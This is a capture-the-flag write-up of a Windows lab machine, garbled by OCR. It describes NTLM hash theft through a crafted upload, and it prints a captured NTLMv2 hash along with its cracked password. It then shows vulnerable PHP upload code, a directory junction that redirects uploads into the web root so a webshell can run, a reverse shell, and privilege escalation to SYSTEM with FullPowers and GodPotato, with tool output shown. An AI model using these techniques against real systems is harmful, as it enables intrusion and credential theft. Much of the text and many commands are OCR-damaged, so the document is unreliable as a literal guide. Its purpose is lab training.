Great machine with an interesting privesc
Windows machine that tests your #enumeration  #osint  #evil-winrm  #certipy ~ #bloodyAD
#bloodhound  #nxc  #smbclient skills.

Initial creds:
User flag

Enumeration:

fscan:

, attempted methods [none password], no supported metho
faile , attempted met [none p d], no supported meth
56 remote error: tl
rdp 1 123 remote error: tls: denied
rdp 1 remote error: t denied

3110

~/htb/temp

ase report any r r nmap . or
) nned i

gobuster:



[:_ ir rl http: #.129.234.6 rdlist fusr/share/wordlists/dirbuster/directory-list-2.3-medium. txt

Gobuster v3.8
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

Url: http://10.129.234.67/

Method: GET

Threads: 50

Wordlist: Jusr/share/wordlists/dirbuster/directory-1list-2.3-medium.txt
Negative Status codes: 404

User Agent: gobuster/3.8

Timeout: 10s

Starting gobuster in directory enumeration mode

/# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: &03) [Size: 3@3]
/assets [Size: 340]
fcss [Size:
/is [Size:
/licenses Status: 403) [Size:
Jexamples [Size:
fAssets [Size:
fxcheckout*® Status: 403) [Size:
/CS5 [Size:
/15 [Size:
/phpmyadmin Status: 403) [Size:
/webalizer s: 403) [Size:
Jxdocroot* us: 403) [Size:
i : 403) [Size:
fcon : 403) [Size:
/*xhttp¥3a 15: 403) [Size:
fEhttpE3A c : 403) [Size:
Jaux : 403) [Size:
JEEhttpa3A : 403) [Size:
JSeeht tpR3A%2 F2 Fwsw : 403) [Size:
/server-status 5 5: 403) [Size:
/devinmoorex s us: 4@03) [Size:
/200109% = 3) [Size:
fEsa_ : 403) [Size:
fede_ 5 15: 403) [Size:
Progress: 220558 / 22855

Initially | though it contain web upload vulnerability (in a web sense, however it turned out to be
ntim stealer using responser - https://github.com/Greenwolf/ntim_theft)

O @ Not Secure 10.129.234.67

SERVICES ABOUT TEAM HIRING

JOIN OUR TEAM

WE'RE HIRING GRAPHICS DESIGNERS!

Upload a brief introduction video (compatible with Windows Media Player)

_ Browse.. No file selected.
Please upload a brief introduction video about yourself and your experiences, explaining why
you think you're fitfor the job.



https://github.com/Greenwolf/ntlm_theft

Error starting TCP server on port 53, check permissions or other servers running.
NTLMy2-SSP Client 7
NTLMy2-SSP Username :

ed hash eno
ed hash for M enox
ed hash DIA\enox
ed hash DIA\enox

ENOX :: MEDIA: c9d103b8035bd952 : 76aa1d81eBbbdc16740F8bdb031640d8: 0101000000000000807bF271738FdcD1544bc9896462223700000000020008005900490033003500010012005700490042002d004200380045004540055004d00420043004d005500300004 00340057 00490042002000420038
004500440055004000420043004000550030002e00590049003300350026004C004F00430041004C0003001400590059003300350026004 004 F 00430041004 0005001400590045900330035002e004c004004300410045c0007000800807bF271738dc01
000000000000300000ab2a5be0dfa4a0f5e21cf2a127466d1c45d486Febkbb56926116e885dcfo5F680al 0006, 73002 00310030002¢00310030002e00310036002000320035000000000000000000 1234virusa

o ~/htb/temp
creds. txt

~/htb/temp
enoxi10.129.234.67
ty of host '10.129.234.67 (10.129.234.67)' can't be established.
int is: SHA256:2c17FslY2rzantFkyjgpzSQoyVlisRgRFVIV+0dKFt8A

s
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added °10.129.234.67° (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.

*x This session may be vulnerable to "store now, decrypt later” attacks.

4 The server may need to be upgraded. See https://openssh.com/pq.html
enoxa10.129.234.67's password:

Microsoft Windows [Version 10.0.20348.4052]

(c) Microsoft Corporation. ALl rights reserved.

enox@MEDIA C:\Users\enox>Ls
‘1s" is not recognized as an internal or external command,

operable program or batch file.

enox@MEDIA C:\Users\enox>dir
Volume in drive C has no label.
volume Serial Number is EADS-5D48

Directory of C:\Users\enox

10/02/2023 09:26 AW <DIR>
09:26 AM <DIR> -
10:06 AW <DIR> Desktop
10:05 AN <DIR> Documents
12:20 AW <DIR> Downloads
2 <DIR> Favorites
<DIR> Links
<DIR> usic
<DIR> Pictures
[infral @:von 1:fscan 2:multi- 3:fuzx

Root flag

| tried WIinPEAS + PowerUP and found no success, which forced me to check for website
source-code, maybe the are being run as system ? So | enumerated it and located it at root
path, and there happens to be source code of our file upload:

1.- Upload Directory: C:/Windows/Tasks/Uploads/

2.- Folder Structure: Files stored in MD5(firstname + lastname + email)/

11:43:42 [360/5233]
C:\xampp\htdocs>type index.php
type index.php
<?php
error_reporting(e);

// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory

if ($_SERVER["REQUEST_METHOD"] = "POST" &5 isset($ FILES["fileToUpload"])) {
§firstname = filter var($ POST["firstname"], FILTER_SANITIZE STRING);
$lastname = filter_var($_POST["lastname”], FILTER_SANITIZE_STRING);
$femail = filter_var($_POST["email"], FILTER_SANITIZE_STRING);

// Create a folder name using the MD5 hash of Firstname + Lastname + Email
$folderName = mdS($firstname . $lastname . $email);

/f Create the full upload directory path
$targetDir = $uploadDir . $folderName . '/';

// Ensure the directory exists; create it if not

if (!file_exists($targetDir)) {
mkdir($targetDir, 0777, true);

From Winpeas | found that | have write permission in C:/Windows/Tasks/Uploads/ directory




And here the interesting part starts:

we can check file permissions of our uploaded files:

LastWriteTime Length Mame

1/28/2026 1:52 AM 243695 timer.mpé

d1lfi Failed proc g
ploads® 59aadd?5e7 Fel5a 9a> get-acl * | select owner

Owner

NT AUTHORITY\LOCAL SERVICE

Which tells us that they are uploaded by NT AUTHORITY\LOCAL SERVICE -> Apache is run
by NT AUTHORITY\LOCAL SERVICE ??7?

If so we can try to gain RCE by uploading webshell, but you may say that it writes it
C:\Windows\Tasks\Uploads, not even remotely close to C:\xampp\htdocs where our source
code is located, well in Linux you would try to use symlink, which is the following in Windows:

C:\Windows\Tasks\Uploads> mklink /D folder_name_in_uploads C:\xampp\htdocs

But executing this command gives us an error of "insufficient priveleges", so we try an
alternative - junction:

C:\Windows\Tasks\Uploads> mklink /J folder_name_in_uploads C:\xampp\htdocs

So with this you can write to htddocs (our apache server) and try to get RCE as NT
AUTHORITY:
To do that you can either:

try to calculate folder name by using sourcecode php and create a folder that way or

upload afile, so it creates a directory, delete that directory and create a junction with that
name, so next time you upload, it will upload to C:\xampp\htdocs.



O & Not Secure 10.129.234.67

nt authority\local service

Now we can get reverse shell, the simplest and easiest one is probably using encoded
powershell:

teamosh@teamosh: ~

~/htb/tools

ning on [any
to [10.10

After gaining reverse shell | noticed that we cannot read C:\Users\Administrator so, we can try
to privesc -> | checked "whoami /priv" and so that we gained new priveleges, we see
SeTcbPrivelege -> GodPotato time baby

PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

TcbPrivilege Act as part of the operating sys Disabled
ChangeNotifyPrivilege By traverse checking Enabled
CreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS Cihyxa 5=

0
Q
=

However GodPotato showed insufficient privileges, so we need to restore them using FullPower


https://github.com/itm4n/FullPowers/releases/tag/v0.1

Start PipeS
Trigger RPC
CreateMamedPipe A\
COM obj GUID:
obj IPID:
obj O0XID:
obj 0ID:
M obj Flag
D obj PublicRefs:
Marshal Object bytes len: 108
UnMarshal Object
Pipe Connected!
CurrentUser: NT AUTHORITY'\METWORK
CurrentsImpersonationlevel: Identification
Start rch System Token
Find : False
Object: 0=x80070776
CurrentUser: NT AUTHORIT ETWORK SERWICE
Cannot create prod ; Win32Error:1314

>whoami

had2\pipe\epmapper




4 Ccreated.
icrosoft Windows [Version 10.0.20348.4052]
€) Microsoft Corporation. ALl rights reserved.

\Users\Public\Music>FullPowers.exe
ullPowers.exe

+] Started dummy thread with id 5676

+] Successfully created scheduled task.

+] Got new token! Privilege count: 7

+] CreateProcessAsUser() OK

icrosoft Windows [Version 10.0.20348.4052]

c) Microsoft Corporation. ALl rights reserved.

\Windowssystem32>whoami
hoami
t authority\local service

:\Windows\system32>cd C:\Users\Public\Music
d C:y\UsershyPublich\Music

‘\Users\Public\Music>god3.exe -cmd "ecmd /c whoami"”
bod3.exe —cmd “cmd fc whoami”

*] CombaseModule: Bx148735857098752

*] DispatchTable: @x140735859685704

*] UseProtseqFunction: @=140735858979008

[infra] @:vpn 1:fscan 2:multi- 3:fuzx

[*] UseProtsegFunctionParamCount: 6

[*] HookRPC

[*] Start PipeServer

[*] Trigger RPCSS

[*] CreateNamedPipe ‘\\.\pipe\ceaaGaa?-7e61-49c9-9ch9-eeaed?@8d0b7\pipe\epmapper
[*] DCOM obj GUID: OQQORQQ0-0Q00-QORQ-cOBQ-0QQODOQDO0LE
[*] DCOM obj IPID: QOBO2302-0860-ffff-d521-00facef28b52
[*] DCOM obj OXID: @=xb5cadeld881ed7bl

[*] DCOM obj OID: @=xb&350c7948154b5f

[*] DCOM obj Flags: 0=281

[*] DCOM obj PublicRefs: 0=@

[*] Marshal Object bytes len: 108

[*] UnMarshal Object

[*] Pipe Connected!

[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE

[*] CurrentsImpersonationLevel: Impersonation

[*#] Start Search System Token

[*#*] PID : 892 Token:@=772 User: NT AUTHORITY\SYSTEM ImpersonationlLevel: Impersonation
[*] Find System Token : True

[*] UnmarshalObject: 0=30070776

[*] CurrentUser: NT AUTHORITY\SYSTEM

[*] process start with pid 1700

nt authority\system

UseProtsegFunction: 0x140735858979008 -a— 1/28/2026  2: 57344 god.exe
UseProt seqFunctionParamCount: 6 —a— 1/28/2026  2: 57344 god2.exe
HookRPC -a— 1/28/2026  2: 57344 god3.exe
start PipeServer -a— 1/28/2026  2: 238080 meter.exe
Trigger RPCSS -a— 1/28/2026  2: 600580 Powerlp.psl
CreateNamedPipe \\.\pipe\b3d8a95b-01ca-4fb1-bab3-d2451e9919dc\pipe\epmapper
DCOM obj GUID:
DCOM obj IPID: 0008CCO2-0F48-Ffff-0bd5-Oesc7a2ffad7 PS C:\Users\Public\Music> cd ..

DCOM obj OXID: 0xa85sa3densfo7a2d Ps C:\Users\Public> cd ..

DCOM obj OID: @xceaes088331b3acd PS C:\Users> cd Administrator

DCOM obj Flags: 0x281 PS C:\Users\Administrator> cd Desktop
DCOM obj PublicRefs: 0x0 PS C:\Users\Administrator\Desktop> dir
Marshal Object bytes len: 100
UnMarshal Object

Pipe Connected! Directory: C:\Users\Administrator\Desktop
CurrentUser: NT AUTHORITY\NETWORK SERVICE
CurrentsImpersonationlevel: Impersonation
Start Search System Token Mode LastWriteTime Length Name
PID : 892 Token:0x772 User: NT AUTHORITY\SYSTEM Impersonationlevel: Impersonation — —
Find System Token : True —ar— 1/28/2026  1:42 AM 34 root.txt
UnmarshalObject: 0x80070776
CurrentUser: NT AUTHORITY\SYSTEM
process start with pid 4964 PS C:\Users\Administrator\Desktop> type root.txt
< CLIXML €8cf692e36056dch81F96a19 FALLDS0

PS C:\Users\Administrator\Desktop>

“teamosh” 06:48 28-Jan-2§




